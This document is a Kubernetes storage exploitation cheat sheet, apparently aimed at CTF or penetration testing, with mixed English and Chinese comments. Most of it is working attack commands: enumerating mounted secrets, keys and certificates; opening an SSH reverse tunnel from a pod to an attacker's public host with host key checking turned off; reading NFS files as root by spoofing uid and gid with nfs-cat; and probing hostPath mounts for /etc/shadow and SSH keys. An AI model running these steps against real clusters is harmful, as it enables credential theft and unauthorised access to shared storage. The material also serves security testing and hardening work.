k8s-storage-exploit

Kubernetes Storage and File Sharing Exploitation

K8s Pods may have mounted storage backends such as NFS, AWS EFS, and PV. These storages often rely only on network-layer access control (security group / CIDR) and do not perform application-layer authentication—that is, as long as the Pod is on the same network, it can read and write. This is an "ancient" access control model still in use in the cloud era.

Phase 1: Discover Mounted Storage

# 查看所有挂载点
mount
df -h
cat /etc/mtab
cat /proc/mounts

# 特别关注远程挂载
mount | grep -E 'nfs|efs|cifs|gluster|ceph|azure'

View Secret/ConfigMap Mounted by K8s

ls -la /var/run/secrets/ ls -la /etc/config/ 2>/dev/null mount | grep -F 'tmpfs' | grep -F 'ro' # Secret/ConfigMap are usually read-only tmpfs find /var/run/secrets -type f 2>/dev/null find / -name ".key" -o -name ".pem" -o -name "*.crt" 2>/dev/null | head -20

True Volume / PV is usually an actual filesystem such as ext4, nfs, efs, cifs, ceph, etc.

grep -wF "ext4" /etc/mtab 2>/dev/null mount | grep -E 'nfs|efs|cifs|gluster|ceph|azure|hostPath'

---

## Phase 2: NFS/EFS 利用

### 本地 NFS 挂载已存在时

```bash
# 直接读取
ls -la /efs/ 2>/dev/null
ls -la /mnt/ 2>/dev/null
find /efs -type f 2>/dev/null
cat /efs/flag.txt 2>/dev/null

Remote NFS discovered but cannot be accessed directly

Method A: SSH port forwarding(requires a machine reachable from the external network)

# 在 Pod 中（ReadOnly FS 需要 -o StrictHostKeyChecking=no）
ssh -R 2049:<nfs-server>:2049 -Nf user@your-public-ip \
    -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null

# 在你的机器上
mount -t nfs localhost:/ /mnt
ls /mnt/

Method B: nfs-cat / nfs-ls(no mount permission required, the most clever)

The core advantage of nfs-cat: specify uid/gid directly through URL parameters, allowing files to be read as any user without root privileges.

# 以 root (uid=0) 身份读取文件
nfs-cat "nfs://<nfs-server>:2049//flag.txt?version=4&uid=0&gid=0"

# 列出目录
nfs-ls "nfs://<nfs-server>:2049//?version=4"

Tool source: https://github.com/sahlberg/libnfs

Method C: showmount probing

showmount -e <nfs-server>
# 显示导出的共享目录

---

Phase 3: AWS EFS Special Exploitation

AWS EFS uses the NFS v4.1 protocol. Key point: by default, it relies only on security groups for access control and does not enable IAM authentication. This means any Pod within the same VPC can directly read and write EFS.

# 识别 EFS（mount 输出中会有 efs 关键字）
mount | grep efs
# 输出: fs-xxxxx.efs.us-west-1.amazonaws.com:/ on /efs type nfs4

# DNS 名称暴露 region 和 filesystem ID
# fs-xxxxx.efs.<region>.amazonaws.com

---

Phase 4: PV/PVC Sensitive Data

# 检查 hostPath 挂载（可能挂载了宿主机目录）
mount | grep -E '/host|/root|/etc'

# 常见的敏感挂载路径
ls /host/etc/shadow 2>/dev/null
ls /host/root/.ssh/ 2>/dev/null
ls /host/var/lib/kubelet/ 2>/dev/null

# 检查 ConfigMap/Secret 挂载
find /var/run/secrets -type f 2>/dev/null
find /etc -name "*.conf" -newer /etc/hostname 2>/dev/null

---

Key Points

• NFS/EFS defaults to network-based access control — Pods within the same VPC can usually access directly
• nfs-cat is a powerful tool for bypassing mount permission restrictions — supports spoofing uid/gid through the URL
• EFS security groups may be overly permissive — allowing access from the entire VPC
• Secret/ConfigMap are mixed together with ordinary environment variables — the source cannot be determined by variable name alone; it needs to be verified in combination with mount points and API permissions
• Storage backends may contain: flag, credential, SSH key, TLS certificate, database backup